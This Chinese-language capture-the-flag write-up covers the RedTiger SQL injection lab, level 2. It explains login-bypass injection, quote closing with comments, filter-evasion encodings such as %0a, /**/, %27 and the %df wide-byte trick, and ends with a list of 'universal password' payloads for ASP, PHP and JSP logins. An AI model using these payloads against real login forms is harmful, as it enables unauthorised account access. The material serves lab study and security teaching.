第二关链接:https://redtiger.labshttps://redtiger.labs.overthewire.org/level2.php?
第二关仍然为SQL注入关口,但是我们观察页面发现,只有账号和密码以及登录按钮,没有任何提示,也无法直接获取账号和密码直接登录,想要登录的话,只有绕过服务端的验证,直接诶访问数据库,由此可以判断为SQL注入中的万能密码登录。
1. SQL注入万能密码的原理
通过构造SQL语句绕过服务端的校验,直接访问数据库,以实现对 目标数据库的操作。
我们可以推断此处的SQL语句模型为:
Select * FROM User where username="输入的用户名" And password=“输入的密码”;
如果我们可以构造SQL语句,是用户名和Miami被匹配,那么我们就可以绕过验证,完成登录。
2.burp 抓包,构造闭合和注释
2.1 最笨的办法,单引号,注释符,挨个参数构造闭合
2.2 判断是账号登录处还是密码输入处存在万能密码注入
分别在账号和密码登录处构造万能密码
成功获取密码,点击 Hack it 到达第三关
分享一个账号输入处万能密码登录
总结:
SQL注入万能密码,利用单引号、双引号、括号等构造闭合,构造注释,可能会存在符号被过滤的情况,可以使用 %0a,/**/ 替换空格,%27替换单引号等方式,绕过过滤。
admin %df' or 1=1 %df破解单引号被过滤
常用的万能密码:
1.ASP万能密码
"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a ' or' 1=1--
"or 1=1 --
'or'a'='a
"or"="a'='a
'or"='
'or'='or'
1 or '1'='1'=1
'OR 1=1%00
"or 1=1%00
'xor
admin' or 'a'='a 密码随便输入
2.PHP密码
'or 1=1/*
User:something Pass: 'or '1'='1
3.JSP 万能密码
1'or'1'='1
admin' or 1=1/*